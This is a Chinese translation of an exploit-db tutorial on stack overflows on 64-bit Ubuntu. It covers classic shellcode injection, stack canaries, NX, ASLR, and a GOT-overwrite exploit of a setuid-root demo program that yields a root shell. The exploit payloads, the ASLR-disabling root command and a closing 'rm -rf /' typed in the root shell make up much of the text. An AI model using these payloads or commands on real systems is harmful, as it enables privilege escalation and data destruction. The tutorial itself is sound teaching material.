翻译 exploit-db 上的一篇文件 让大家了解下溢出的基本原理
http://www.exploit-db.com/papers/24085/
现代Linux系统上的栈溢出攻击
2012.12.21 - 06:56 — jip
预备知识:
对C语言和 X86_64 汇编语言有基本的了解
+++++++++++++++++++++++++++++++++++++++++++
+ Stack Smashing On A Modern Linux System +
+ jip@soldierx.com +
+翻译:sincoder admin@sincoder.com +
+++++++++++++++++++++++++++++++++++++++++++
1. 基本内容
这个教程试着向读者展示最基本的栈溢出攻击和现代Linux发行版中针对这种攻击的防御机制。为此我选择了最新版本的Ubuntu系统(12.10),因为它默认集成了几个安全防御机制,而且它也是一个非常流行的发行版。安装和使用都很方便。我们选择的系统是X86_64的。读者将会了解到栈溢出是怎样在那些默认没有安全防御机制的老系统上面成功的溢出的。而且还会解释在最新版本的Ubuntu上这些保护措施是如何工作的。我还会使用一个小例子来说明如果不阻止一个栈上面的数据结构被溢出那么程序的执行路径就会失去控制 。
尽管本文中使用的攻击方式不像经典的栈溢出的攻击方式,而更像是对堆溢出或者格式化字符串漏洞的利用方式,尽管有各种保护机制,溢出还是不可避免的存在。现在如果你还不懂这些,不要担心,我会在下面的文章中详细的讲解。
2. 使用的系统
关于不同版本的ubuntu 系统中默认启用的安全控制机可以看这里:https://wiki.ubuntu.com/Security/Features
-----------------------------------
$ uname -srp && cat /etc/lsb-release | grep DESC && gcc --version | grep gcc
Linux 3.5.0-19-generic x86_64
DISTRIB_DESCRIPTION="Ubuntu 12.10"
gcc (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2
-----------------------------------
3. 经典的栈溢出
首先让我们回到从前,一切都很简单,向栈上面草率的复制数据很容易导致程序的执行完全失控。可以看下面的例子(没有考虑到许多保护机制).
-----------------------------------
$ cat oldskool.c
#include <string.h>
void go(char *data) {
char name[64];
strcpy(name, data);
}
int main(int argc, char **argv) {
go(argv[1]);
}
-----------------------------------
在测试之前,我们需要禁用系统的 ASLR ,你可以这么来做:
-----------------------------------
$ sudo -i
root@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_space
root@laptop:~# exit
logout
-----------------------------------
在很老的机器上面也许还不存在这个保护机制。为了同时禁用掉其他的保护(主要是编译器生成的运行时栈检测代码) 我们可以这样来编译我们的例子:
$ gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g
下面来看看这个示例程序,我们可以看到 我们在函数中在栈上面分配了64字节的缓冲区,然后把命令行的第一个参数复制到这个缓冲区里面。程序没有检测第一个参数的长度是不是大于64字节就直接调用strcpy 来复制数据了,众所周知,这样会导致栈溢出。 现在为了得到程序控制权限,我们需要知道这样一个事实,就是任意一个C函数在进入一个函数之前,都会把它即将执行的下一条指令的地址压到栈中(也就是call指令做的事情 把call的下一条指令压栈,这样函数就知道要返回哪个地址继续执行了)。我们把这个地址叫做函数返回地址或者叫 “已保存的指令的指针”。在我们的例子里面 返回地址就是我们在执行完我们的 go()函数后下一步要执行的那条指令的地址。这个地址就仅挨着我们的 name[64] 这个缓冲区。因为栈的工作方式(译者注:也就是栈是向低地址衍生的,也就是说最后进栈的保存在栈最低的地址处),如果用户的数据超过了缓冲区的长度,那么输入的数据就会覆盖掉函数的返回地址(译者注:因为往缓冲区里面写数据是从低地址向高地址写,所以当写完函数分配缓冲区,下面的4个字节就是函数的返回地址了)。函数返回的时候就会跳到错误的地址处去执行,一个攻击者就能通过把他们要执行的机器码复制到一个缓冲区中,然后把返回地址指向那个缓冲区来劫持程序的执行流程。然后攻击者就可以随意的让程序做一些他们想做的事情,也许是因为好玩也行是为了利益。废话不多说,让我来给你们演示下吧 如果你看不懂下面使用的命令,你可以在 http://beej.us/guide/bggdb/ 看一下GDB 的使用教程。
-----------------------------------
$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) disas main
Dump of assembler code for function main:
0x000000000040053d <+0>: push %rbp
0x000000000040053e <+1>: mov %rsp,%rbp
0x0000000000400541 <+4>: sub $0x10,%rsp
0x0000000000400545 <+8>: mov %edi,-0x4(%rbp)
0x0000000000400548 <+11>: mov %rsi,-0x10(%rbp)
0x000000000040054c <+15>: mov -0x10(%rbp),%rax
0x0000000000400550 <+19>: add $0x8,%rax
0x0000000000400554 <+23>: mov (%rax),%rax
0x0000000000400557 <+26>: mov %rax,%rdi
0x000000000040055a <+29>: callq 0x40051c
0x000000000040055f <+34>: leaveq
0x0000000000400560 <+35>: retq
End of assembler dump.
(gdb) break *0x40055a
Breakpoint 1 at 0x40055a: file oldskool.c, line 11.
(gdb) run myname
Starting program: /home/me/.hax/vuln/oldskool myname
Breakpoint 1, 0x000000000040055a in main (argc=2, argv=0x7fffffffe1c8)
11 go(argv[1]);
(gdb) x/i $rip
=> 0x40055a : callq 0x40051c
(gdb) i r rsp
rsp 0x7fffffffe0d0 0x7fffffffe0d0
(gdb) si
go (data=0xc2 ) at oldskool.c:4
4 void go(char *data) {
(gdb) i r rsp
rsp 0x7fffffffe0c8 0x7fffffffe0c8
(gdb) x/gx $rsp
0x7fffffffe0c8: 0x000000000040055f
-----------------------------------
我们在调用go函数之前设置了一个断电, 在 0x000000000040055a <+29>.然后我们使用参数 myname 来执行我们的程序, 然后程序在进入go函数的时候停了下来. 然后我们通过命令si来执行一条指令。然后看下栈指针 rsp (因为是64位的系统嘛),可以看出rsp的值就是 call go 的下一条指令的地址 0x000000000040055f <+34>。这些就是我们上面所讲的。
下面的输出显示当go函数调用结束的时候,会执行 retq 这个指令,这个指令会将函数的返回地址弹出栈,然后跳到这个地址去执行而不管这个地址指向哪里 。
-----------------------------------
(gdb) disas go
Dump of assembler code for function go:
=> 0x000000000040051c <+0>: push %rbp
0x000000000040051d <+1>: mov %rsp,%rbp
0x0000000000400520 <+4>: sub $0x50,%rsp
0x0000000000400524 <+8>: mov %rdi,-0x48(%rbp)
0x0000000000400528 <+12>: mov -0x48(%rbp),%rdx
0x000000000040052c <+16>: lea -0x40(%rbp),%rax
0x0000000000400530 <+20>: mov %rdx,%rsi
0x0000000000400533 <+23>: mov %rax,%rdi
0x0000000000400536 <+26>: callq 0x4003f0
0x000000000040053b <+31>: leaveq
0x000000000040053c <+32>: retq
End of assembler dump.
(gdb) break *0x40053c
Breakpoint 2 at 0x40053c: file oldskool.c, line 8.
(gdb) continue
Continuing.
Breakpoint 2, 0x000000000040053c in go (data=0x7fffffffe4b4 "myname")
8 }
(gdb) x/i $rip (gdb x命令用于查看内存的数据)
=> 0x40053c : retq
(gdb) x/gx $rsp
0x7fffffffe0c8: 0x000000000040055f
(gdb) si
main (argc=2, argv=0x7fffffffe1c8) at oldskool.c:12
12 }
(gdb) x/gx $rsp
0x7fffffffe0d0: 0x00007fffffffe1c8
(gdb) x/i $rip
=> 0x40055f : leaveq
(gdb) quit
-----------------------------------
我们在go函数即将返回的地方下一个断点然后继续执行。程序会在执行retq指令的地方停下来。我们可以看到栈寄存器rsp还是指向main函数内部那个即将在go函数后面执行的指令。等retq 执行完了,我们可以看出程序立即把返回地址弹出栈让跳过去执行了。现在我们要去覆盖这个返回地址使用perl来提供多于64个字节的数据 。
-----------------------------------
$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) run `perl -e 'print "A"x48'`
Starting program: /home/me/.hax/vuln/oldskool `perl -e 'print "A"x80'`
Program received signal SIGSEGV, Segmentation fault.
0x000000000040059c in go (data=0x7fffffffe49a 'A' )
12 }
(gdb) x/i $rip
=> 0x40059c : retq
(gdb) x/gx $rsp
0x7fffffffe0a8: 0x4141414141414141
-----------------------------------
我们使用prel在命令行中打印出80个"A",然后把它作为参数传递给我们的实例程序。我们可以看出当程序执行完retq指令的时候崩溃了。因为程序试图跳到的返回地址被字符“A"(0x41) 填充了。主要我们必须要写入80个字节(64+8+8)因为指针在64位机器上面是8个字节的,为什么要加两个8呢 因为在我们的缓冲区和返回地址之间还保存着一个指针 有木有注意到go函数的第一条指令 push ebp ?! 好了,那么现在我们可以做到把程序的执行路径重定向到任意的位置 然后执行我们的命令了吗 ?如果我们把我们的指令放到name[]这个数组中,然后把函数的返回地址覆盖成数组的起始地址,程序就会执行我们的指令(或者说是传说中的shellcode),我们需要知道name[]数组的地址然后才能知道需要把返回地址覆盖成什么值。在本文中我不会教大家如果创建一个shellcode 因为这个有点超出本文的范围了。但是我还是会给你提供一个在屏幕上打印一个消息的shellcode 。我们可以这样来得到name数组的地址。
-----------------------------------
(gdb) p &name
$2 = (char (*)[32]) 0x7fffffffe0a0
-----------------------------------
我们可以使用perl来在命令行上打印不可打印的字符,通过使用对应的16进制来转义,就像这样"\x41"。由于机器上面存储整数和指针是使用小端(little-endian)的,所以我们需要将字节的顺便反过来。因此我们要去覆盖返回地址的值就是 "\xa0\xe0\xff\xff\xff\x7f"
下面就是会在屏幕上打印出我们的消息然后退出的shellcode:
"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48
\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9
\xff\xff\xff\x48\x61\x78\x21"
这些只是要执行的指令的机器码形式,这样转义后,他们就可以使用perl来打印了。因为shellcode 的长度是45字节,但是我们需要72个字节才能覆盖掉SIP。所以需要再加上27个字节。好了 下面就是我们要使用的字符串:
"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48
\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9
\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0\xff\xff\xff\x7f"
当程序执行完go() 这个函数的时候就会跳到0x7fffffffe0a0去执行。而这个地址正是name[]数组的地址,此时name[]数组里面已经被填充上我们的shellcode了。不出意外的话,程序就会执行我们的shellcode然后打印出消息 ,然后退出,好了 现在我们来试一试(注意执行前 清除掉所有的断点 (译者注:如果你在调试器里面执行的话)):
-----------------------------------
$ ./oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48
\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c
\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0
\xff\xff\xff\x7f"'`
Hax!$
-----------------------------------
可以看到,我们shellcode 被执行了,程序打印出消息然后退出了。
4. 保护机制
欢迎来到2012年,上面的例子在层层保护之下已经不能工作了。现在在我们的Ubuntu机器上面使用了很多不同的保护措施。这种形式的利用方式甚至已经不存在了。当然栈中还是会发生溢出,也还是有新的方法来利用它。这就是我下面一节要介绍的。但是首先还是让我们来了解下各种保护机制吧。
4.1 堆栈保护
在上面的例子里面我们使用-fno-stack-protector 标识来告诉gcc 我们不想启用堆栈保护。如果我们把这个选项和前面加的其他选项都去掉呢 ?注意此时ASLR也被打开了,所有的东西都变成默认了。
$ gcc oldskool.c -o oldskool -g
我们先看看生成的二进制代码,看看有什么变化。
-----------------------------------
$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) disas go
Dump of assembler code for function go:
0x000000000040058c <+0>: push %rbp
0x000000000040058d <+1>: mov %rsp,%rbp
0x0000000000400590 <+4>: sub $0x60,%rsp
0x0000000000400594 <+8>: mov %rdi,-0x58(%rbp)
0x0000000000400598 <+12>: mov %fs:0x28,%rax
0x00000000004005a1 <+21>: mov %rax,-0x8(%rbp)
0x00000000004005a5 <+25>: xor %eax,%eax
0x00000000004005a7 <+27>: mov -0x58(%rbp),%rdx
0x00000000004005ab <+31>: lea -0x50(%rbp),%rax
0x00000000004005af <+35>: mov %rdx,%rsi
0x00000000004005b2 <+38>: mov %rax,%rdi
0x00000000004005b5 <+41>: callq 0x400450
0x00000000004005ba <+46>: mov -0x8(%rbp),%rax
0x00000000004005be <+50>: xor %fs:0x28,%rax
0x00000000004005c7 <+59>: je 0x4005ce
0x00000000004005c9 <+61>: callq 0x400460 <__stack_chk_fail@plt>
0x00000000004005ce <+66>: leaveq
0x00000000004005cf <+67>: retq
End of assembler dump.
-----------------------------------
如果我们观察go+12 和 go+21,可以看到一个值被从$fs+0x28 或者%fs:0x28。这个地址指向的值并不重要,现在我只告诉你:fs 指向的结构是供内核使用的(为内核保留的),我们不能使用gdb 来查看fs 的值。但是我们只需要知道这个地方包含了一个随机的值,已经被证明我们是不能提前预测这个值的。
-----------------------------------
(gdb) break *0x0000000000400598
Breakpoint 1 at 0x400598: file oldskool.c, line 4.
(gdb) run
Starting program: /home/me/.hax/vuln/oldskool
Breakpoint 1, go (data=0x0) at oldskool.c:4
4 void go(char *data) {
(gdb) x/i $rip
=> 0x400598 : mov %fs:0x28,%rax
(gdb) si
0x00000000004005a1 4 void go(char *data) {
(gdb) i r rax
rax 0x110279462f20d0001225675390943547392
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/me/.hax/vuln/oldskool
Breakpoint 1, go (data=0x0) at oldskool.c:4
4 void go(char *data) {
(gdb) si
0x00000000004005a1 4 void go(char *data) {
(gdb) i r rax
rax 0x21f95d1abb2a0800 2448090241843202048
-----------------------------------
我们在将那个值从 $fs+0x28移到rax的指令处下断点,然后执行这条指令,查看rax的值,重复这个过程我们可以清楚的看到这个值每次运行都会变化,所以这是个每次程序运行都会改变的值。也就是说攻击者不能提前知道这个值。但是这个值是怎么用来保护栈的呢?如果我们看 go+21 处 ,可以看出这个值被拷贝到 -0x8(%rbp) 处。可以看出这个值恰好在函数的局部变量和函数的返回地址之间。这个值被叫做”金丝雀”,也就是矿工用来提醒他们瓦斯泄露的。因为金丝雀对瓦斯比较忙敏感,会比人先死去。类比下,当发生缓冲区溢出的时候,这个值会比函数的返回地址先被覆盖。如果我们看下 go+46 和 go+50 的地方,可以看出这个值被从堆栈里面读出来。然后和原来的值做对比,如果他们是一样的那么就说明值没有改变,也就是说函数的返回地址也没被改变,然后就运行函数正常的退出了。但是如果这个值改变了,就说明发送了栈溢出,保存的函数返回地址有可能被改写了。于是函数就会执行__stack_chk_fail函数,这个函数会抛出一个错误,然后让进程退出。就像下面你看到的一样:
-----------------------------------
$ ./oldskool `perl -e 'print "A"x80'`
*** stack smashing detected ***: ./oldskool terminated
Aborted (core dumped)
-----------------------------------
让我们来回顾下整个过程,缓冲区被溢出了,数据被复制到缓冲区外面并且覆盖掉了那个“金丝雀”值(译者注: windows 上面也有类似的机制,不过在windows上这个值叫做安全cookies )同时也覆盖掉了函数的返回地址。但是,悲剧的是在函数就要返回到那个被改写的地址继续执行的时候,函数检查了下那个金丝雀值是不是被改写了。于是函数没有返回而是执行另外一个函数安全的让进程退出了。现在坏消息来了,对于一个攻击者并没有一个很好的方式来绕过这个检测。你可能会想到暴力猜解那个金丝雀值。但是这个值每次都不同,除非你非常的幸运被你猜到了 (译者注:概率:1/2^32),而且这样做也是费时而且容易被发现的。但是还有好消息,那就是在很多的情况下这个并不能阻止溢出攻击。举例来说,栈里面的金丝雀值只是保护SIP不被非法的改写,但是它不能阻止函数的局部变量被改写。这就很容易导致下一步的溢出,这会在下面的文章里演示。上面讲的保护机制有效的阻止我们老的攻击方式的攻击,但是马上这种保护机制就会失效。
4.2 NX:不可执行内存
你可能注意到我们不仅仅去掉了-fno-stack-protector这个标识,同时也去掉了-zexecstack标识,(也就是允许执行栈中的代码)现代的操作系统是不允许这种情况发生的,系统把需要写入数据的内存标识为可行,把保存指令的内存标识为可执行,但是不会有一块内存被同时标识为可写和可执行的。因此我们既不能在可执行的内存区域写入我们的shellcode 也不能在可写入的地方执行我们的shellcode (译者注:哈哈 系统的保护错误很变态吧 本来内存就只要可读 或者 可写属性 后来加入的 可执行 属性大大增强了系统的安全性)。我们需要另外的一种方式来让欺骗程序执行我们的代码,答案就是ROP(Return-Oriented Programming),这个技巧就是使用程序中已经有的代码片段,也就是位于可执行文件的.text节里面代码,使用一种方式将这些代码片段链到一起使他们看来就像我们以前的shellcode。关于此,我不会深入的讲解,但是我会在文件的结尾给大家一个例子。还是让我先展示下如果程序如果执行堆栈里的代码会发送的情况(肯定是执行失败了)。
-----------------------------------
$ cat nx.c
int main(int argc, char **argv) {
char shellcode[] =
"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff"
"\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48"
"\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21";
void (*func)() = (void *)shellcode;
func();
}
$ gcc nx.c -o nx -zexecstack
$ ./nx
Hax!$
$ gcc nx.c -o nx
$ ./nx
Segmentation fault (core dumped)
-----------------------------------
我们把我们要执行的代码放到了堆栈上的一个数组里,然后让一个函数指针指向这个数组,然后执行这个函数。当我们编译的时候和之前一样带上 –zexecstack,我们的shellcode 就会执行,但是如果不带上这个选项,栈空间就会被标识为不可执行的,程序也就会随着一个段错误而执行失败。
4.3 ASLR:地址空间随机化
我们为了演示那个经典的溢出攻击,做的最后一件事就是关掉 ASLR,通过在root下执行echo "0" > /proc/sys/kernel/randomize_va_space 。ASLR可以确保每次程序被加载的时候,他自己和他所加载的库文件都会被映射到虚拟地址空的不同地址处。这就意味着我们不能使用我们自己在gdb里面调试时的地址了。因为这个程序在运行的时候这个地址有可能变成另外一个。要注意当你调试一个程序的时候 gdb 会关掉ASLR。但是我们可以在调试的时候打开这个选项,以便我们可以更真实的看到程序执行时发送的一切,具体看下面的演示
(输出的过长字符串在右边截断了,左边显示的地址信息才是最重要的):
-----------------------------------
$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) set disable-randomization off
(gdb) break main
Breakpoint 1 at 0x4005df: file oldskool.c, line 11.
(gdb) run
Starting program: /home/me/.hax/vuln/oldskool
Breakpoint 1, main (argc=1, argv=0x7fffe22fe188) at oldskool.c:11
11 go(argv[1]);
(gdb) i proc map
process 6988
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /home/me/.hax/vuln
0x600000 0x601000 0x1000 0x0 /home/me/.hax/vuln
0x601000 0x602000 0x1000 0x1000 /home/me/.hax/vuln
0x7f0e120ef000 0x7f0e122a4000 0x1b5000 0x0 /lib/x86_64-linux-
0x7f0e122a4000 0x7f0e124a3000 0x1ff000 0x1b5000 /lib/x86_64-linux-
0x7f0e124a3000 0x7f0e124a7000 0x4000 0x1b4000 /lib/x86_64-linux-
0x7f0e124a7000 0x7f0e124a9000 0x2000 0x1b8000 /lib/x86_64-linux-
0x7f0e124a9000 0x7f0e124ae000 0x5000 0x0
0x7f0e124ae000 0x7f0e124d0000 0x22000 0x0 /lib/x86_64-linux-
0x7f0e126ae000 0x7f0e126b1000 0x3000 0x0
0x7f0e126ce000 0x7f0e126d0000 0x2000 0x0
0x7f0e126d0000 0x7f0e126d1000 0x1000 0x22000 /lib/x86_64-linux-
0x7f0e126d1000 0x7f0e126d3000 0x2000 0x23000 /lib/x86_64-linux-
0x7fffe22df000 0x7fffe2300000 0x21000 0x0 [stack]
0x7fffe23c2000 0x7fffe23c3000 0x1000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/me/.hax/vuln/oldskool
Breakpoint 1, main (argc=1, argv=0x7fff7e16cfd8) at oldskool.c:11
11 go(argv[1]);
(gdb) i proc map
process 6991
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /home/me/.hax/vuln
0x600000 0x601000 0x1000 0x0 /home/me/.hax/vuln
0x601000 0x602000 0x1000 0x1000 /home/me/.hax/vuln
0x7fdbb2753000 0x7fdbb2908000 0x1b5000 0x0 /lib/x86_64-linux-
0x7fdbb2908000 0x7fdbb2b07000 0x1ff000 0x1b5000 /lib/x86_64-linux-
0x7fdbb2b07000 0x7fdbb2b0b000 0x4000 0x1b4000 /lib/x86_64-linux-
0x7fdbb2b0b000 0x7fdbb2b0d000 0x2000 0x1b8000 /lib/x86_64-linux-
0x7fdbb2b0d000 0x7fdbb2b12000 0x5000 0x0
0x7fdbb2b12000 0x7fdbb2b34000 0x22000 0x0 /lib/x86_64-linux-
0x7fdbb2d12000 0x7fdbb2d15000 0x3000 0x0
0x7fdbb2d32000 0x7fdbb2d34000 0x2000 0x0
0x7fdbb2d34000 0x7fdbb2d35000 0x1000 0x22000 /lib/x86_64-linux-
0x7fdbb2d35000 0x7fdbb2d37000 0x2000 0x23000 /lib/x86_64-linux-
0x7fff7e14d000 0x7fff7e16e000 0x21000 0x0 [stack]
0x7fff7e1bd000 0x7fff7e1be000 0x1000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
-----------------------------------
我们把"disable-randomization"设置成 “off” 。我们两次运行了程序然后查看进程的模块在内存中映射的地址。我们发现他们中的大部分的地址都是不同的。但是并不是每一个模块都这样,这就是在ASLR被开启的情况下,漏洞仍然可以利用成功的关键原因。
5. 现代的栈溢出攻击
虽然有这么多的保护措施,但是还是有溢出漏洞,而且有时我们可以成功的利用这些漏洞。我已经向你们演示栈中的金丝雀可以保护程序在溢出的情况下不跳到恶意的SIP去执行。但是这只金丝雀仅仅被放到了SIP的前面而不是在栈中的局部变量里面。所以我们可以使用第一个例子里面覆盖SIP(也就是函数返回地址 函数返回的时候SIP就会被赋予这个值)的那种方法来覆盖函数的局部变量。而这个会导致许多不同的问题,在一些情况下,我们覆盖了一个函数指针,这个指针会在未来某一个时刻被执行。也有可能我们覆盖了一个指针,这个指针指向的内存会在未来被写入用户数据,于是攻击者就可以在任意的位置写入数据了。类似的情形经常会被成功的利用而得到进程的控制权。下面的代码就演示了这样的一个漏洞:
-----------------------------------
$ cat stackvuln.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#define MAX_SIZE 48
#define BUF_SIZE 64
char data1[BUF_SIZE], data2[BUF_SIZE];
struct item {
char data[MAX_SIZE];
void *next;
};
int go(void) {
struct item item1, item2;
item1.next = &item2;
item2.next = &item1;
memcpy(item1.data, data1, BUF_SIZE); // Whoops, did we mean MAX_SIZE?
memcpy(item1.next, data2, MAX_SIZE); // Yes, yes we did.
exit(-1); // Exit in shame.
}
void hax(void) {
execl("/bin/bash", "/bin/bash", "-p", NULL);
}
void readfile(char *filename, char *buffer, int len) {
FILE *fp;
fp = fopen(filename, "r");
if (fp != NULL) {
fread(buffer, 1, len, fp);
fclose(fp);
}
}
int main(int argc, char **argv) {
readfile("data1.dat", data1, BUF_SIZE);
readfile("data2.dat", data2, BUF_SIZE);
go();
}
$ gcc stackvuln.c -o stackvuln
$ sudo chown root:root stackvuln
$ sudo chmod +s ./stackvuln
-----------------------------------
为了演示我加入了一个 hax() 函数,很明显这个就是我们要把进程的执行路径改写到的位置。一开始我想加入一个例子来使用ROP链来执行一个函数 像是 system 但是因为两个理由我决定不这么做了,第一就是这样有点超出本文的范围了,这对初学者来说还太难。第二就是在这个小程序里面找到合适的函数实在太难。使用这个函数(hax())是因为:由于NX,我们不能将我们自己的shellcode压到栈里面然后执行它,但是我们可以重用在程序中已有的代码(可以是一个函数,也可以是一个ROP链起来的一连串指令)。如果你关心如果使用ROP你可以谷歌 “ROP exploitation”。
我们程序的溢出发生在go()函数。它创建了一个两个struct item类元素的循环链表。第一次拷贝实际上向结构里面复制了过多的字节,这就运行我们覆盖掉第二次调memcpy使用的next指针,所以如果我们能够选择性的覆盖掉next指针我们就能让第二次复制的时候将数据写到我们希望的地方。除此之外我们还控制了data1和data2,因为这两个缓冲区的内容都是从文件中读取的。当然这些数据也可能从网络或者其他的一些输入,我选择文件是因为它让我们很容易改变playload (shellcode 的载体)来做演示。现在我们可以向任意我们想要的地方写入48字节了,但是我们怎样通过这个来获得程序的控制权?
我们即将使用一个叫做 GOT/PLT 的结构。我会马上解释下它是什么,但是如果你需要的更多的了解,你可以google下。 .got.plt 是一个地址表,城市使用它来跟踪库中的函数,我前面已经说过ASLR确保每一个动态链接库文件每一次在程序加载的时候都会被映射到不同的基址上面。所以程序就不能使用静态的绝对地址来应用库文件中的函数。程序使用了一个代理(stub)去计算函数真实的地址,并把它存放到一个表里面。所以每当函数需要被调用的时候,就需要使用到.got.plt表里面存放的地址。
我们利用这一点来改写这个地址,这样下一次程序需要调用那个函数的时候,函数的调用就会被转移到我们代码上面,就像前面我们改写函数的返回地址来转义程序的执行目标。如果我们观察下我们的例子,会发现在调用完memcpy 之后紧接着就调用了函数exit() 。如果我们可以改写.got.plt表里面exit()函数的那一项,那么当函数去调用exit()函数的时候就会跳去执行我们代码而不是libc 中的 exit() 。我们使用那一个地址去覆盖呢?你猜对了,就是函数hax()的地址。首先,还是让我为你演示下.got.plt表在调用exit()函数的时候是如果起作用的。
-----------------------------------
$ cat exit.c
#include <stdlib.h>
int main(int argc, char **argv) {
exit(0);
}
$ gcc exit.c -o exit -g
$ gdb -q ./exit
Reading symbols from /home/me/.hax/plt/exit...done.
(gdb) disas main
Dump of assembler code for function main:
0x000000000040051c <+0>: push %rbp
0x000000000040051d <+1>: mov %rsp,%rbp
0x0000000000400520 <+4>: sub $0x10,%rsp
0x0000000000400524 <+8>: mov %edi,-0x4(%rbp)
0x0000000000400527 <+11>: mov %rsi,-0x10(%rbp)
0x000000000040052b <+15>: mov $0x0,%edi
0x0000000000400530 <+20>: callq 0x400400
End of assembler dump.
(gdb) x/i 0x400400
0x400400 : jmpq *0x200c1a(%rip) # 0x601020
(gdb) x/gx 0x601020
0x601020 : 0x0000000000400406
-----------------------------------
可以看出在main+20的地方,应该是调用libc 里面的exit ,但是却调用0x400400,这个地方就是exit函数的代理,它就会定位到0x601020这个地址然后从中读取函数的地址去执行,此时这个地址还是在got.plt 里。当加载libc 的时候这个地方就会被填充上exit真实的地址。而我们就是要覆盖掉这个地址为我们自己 函数的入口地址。为了让我们的例子可以正常的工作,我们必须定位到.got.plt 中exit函数的地址,然后覆盖掉这个结构中的指针,我们需要向data2这个缓冲区中写入hax()函数的指针,首先覆盖掉item1.next 这个指针,让它指向 .got.plt 中exit的入口,然后使用hax()的地址来覆盖掉此处exit()函数的地址。然后调用exit的时候,实际上是调用了我们的函数hax()。然后我们就会得到一个系统的root shell,但是有一点要注意,以及 execl 函数刚好被定位在exit 函数的后面,而我们的memcpy函数需要复制 48 个字节,所以我们需要保证 execl的地址不被改写。
-----------------------------------
(gdb) mai i sect .got.plt
Exec file:
`/tmp/stackvuln/stackvuln', file type elf64-x86-64.
0x00601000->0x00601050 at 0x00001000: .got.plt ALLOC LOAD DATA HAS_CONTENTS
(gdb) x/10gx 0x601000
0x601000: 0x0000000000600e28 0x0000000000000000
0x601010: 0x0000000000000000 0x0000000000400526
0x601020 < fclose@got.plt>: 0x0000000000400536 0x0000000000400546
0x601030 < memcpy@got.plt>: 0x0000000000400556 0x0000000000400566
0x601040 < exit@got.plt>: 0x0000000000400576 0x0000000000400586
(gdb) p hax
$1 = {< text variable, no debug info >} 0x40073b
-----------------------------------
好了可以看出 exit 函数的入口在 0x601040 ,而hax()是在0x40073b,下面让我们来构造我们的playload。
-----------------------------------
$ hexdump data1.dat -vC
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000030 40 10 60 00 00 00 00 00 |@.`.....|
00000038
$ hexdump data2.dat -vC
00000000 3b 07 40 00 00 00 00 00 86 05 40 00 00 00 00 00 |;.@.......@.....|
00000010
-----------------------------------
在第一次调用中,我们使用48个字节的无用数据然后使用.got.plt表入口的地址来覆盖掉next指针。记住由于我们是在小端机器上面,所以地址的字节顺序是反着的。第二个文件包含了函数 hax() 的指针,也就是要被写到 .got.plt 表中的 exit 入口的地址。第二个地址是execl()函数的入口,第二个地址是execl的,这个是我们构造的正确的地址 只是为了让这个函数可以正常的调用。当exit 被调用的时候,实际调用的是我们 hax() 函数的地址,也就是说这个时候hax() 函数被执行了。
-----------------------------------
$ ./stackvuln
bash-4.2# whoami
root
bash-4.2# rm -rf /
|